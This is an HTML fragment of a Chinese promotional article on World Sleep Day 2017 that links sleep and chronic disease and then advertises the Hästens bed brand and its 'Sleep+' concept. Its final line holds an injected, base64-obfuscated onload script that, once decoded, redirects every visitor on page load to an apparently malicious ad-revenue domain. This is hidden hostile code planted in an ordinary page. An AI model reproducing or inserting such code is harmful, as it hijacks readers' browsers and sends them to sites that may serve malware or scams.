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<span style="font-family:SimSun;font-size:16px;line-height:2;">     随着多元经济的发展，人们的生活节奏加快。繁重的工作和应酬带来压力和过度饮食等问题，使个体形成不良生活方式，从而影响身体健康，导致机体疾病。世界卫生组织调查显示，慢性病成因60%取决于个人的生活方式。为倡导人们远离慢性疾病，近日，中国睡眠研究会发布了2017年世界睡眠日的中国主题：健康睡眠，远离慢病，希望人们通过好睡眠获得健康的体魄，开启崭新的睡眠生活方式。</span><br />
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	<img src="/upload/image/20170307/20170307141337_48781.jpg" alt="" /> 
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<span style="font-family:SimSun;font-size:16px;line-height:2;">     有研究表明，慢性病成因与个体生活方式密切相关。国内知名内分泌科主任医师陈燕铭认为，保持健康的关键在于一个良好的生活方式，简单概括为合理膳食、适量运动、心理平衡和充足睡眠四个方面。科学合理的饮食和适当的运动可以促进人体生长发育，提高机体耐受性和抗病能力。维持心理平衡则让个体保持积极的情绪，更乐观地面对生活。充足的睡眠不仅可以修复个体大脑细胞、强化心理机能，还可以有效恢复机体的各项代谢功能。而睡眠——个体这一延续生命的必需过程，随着生活品质的不断进阶，正在人们的生活中扮演越来越重要的位置。</span><br />
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	<img src="/upload/image/20170307/20170307141359_69314.jpg" alt="" /> 
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<span style="font-family:SimSun;font-size:16px;line-height:2;">     占据人生三分之一时光的睡眠不仅是人体最主要的能量来源，也是维持身心健康的秘诀。忙碌的生活和工作让人们处于高度紧张的精神状态，焦虑感也伴随来自各方面的压力产生。一项研究结果显示，压力对大脑有负面影响，不仅会减小大脑的体积还会让人变笨。而此时，一场优质的睡眠不仅可以让疲惫的大脑得到充分的休息，脑蛋白质的合成增加也有利于建立新的突触联系，从而促进脑功能的发育和发展。另一项研究也表明，睡眠不足会降低个体的免疫系统功能，甚至增加个体罹患癌症、心脏疾病等风险，从而引发一系列机体疾病。可见，保证充足的睡眠是有效提高个体免疫力、收获健康身体的方法。</span><br />
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	<img src="/upload/image/20170307/20170307141504_64888.jpg" alt="" /> 
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<span style="font-family:SimSun;font-size:16px;line-height:2;">     对注重健康的个体而言，睡眠是获得健康的基础，也是对生活态度的诠释。而一张自然、舒适的床具则是承载健康生活方式的必需品。自1852 年打造出第一张床垫，瑞典顶级床具品牌海丝腾以打造舒适、天然、健康的床具为理念，使用精湛的手工技艺，为人们缔造真正意义上的健康睡眠。2017年，海丝腾洞察人们对于健康睡眠和生活方式进阶的诉求，更创新提出“Sleep+”概念，为人们带来好睡眠的同时，也诠释了一种全新的睡眠生活方式。</span><br />
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	<img src="http://www.travelleisure.org.cn/upload/image/20170307/20170307141428_57300.jpg" alt="" /> 
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<span style="font-family:SimSun;font-size:16px;line-height:2;">     “健康睡眠，远离慢病”。海丝腾坚信，只有睡得好，才能获得健康，才能远离慢性疾病，以充沛的精力面对更多的挑战，拥抱美好的人生。海丝腾以床具带来的好睡眠为基础，创新提出“Sleep+”概念，为世人带来一种全新的睡眠体验的同时，也为世界打开了一种全新的睡眠方式。</span><br />
<span style="font-family:SimSun;font-size:16px;line-height:2;"></span><body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vd3d3LmhpZ2hjcG1yZXZlbnVlZ2F0ZS5jb20vcmlldWJhN21xP2tleT0xZTBkMTkyZmNjNjcwYzc5MjU0ZmVlYmExNTY5MGNlMSIp"))>

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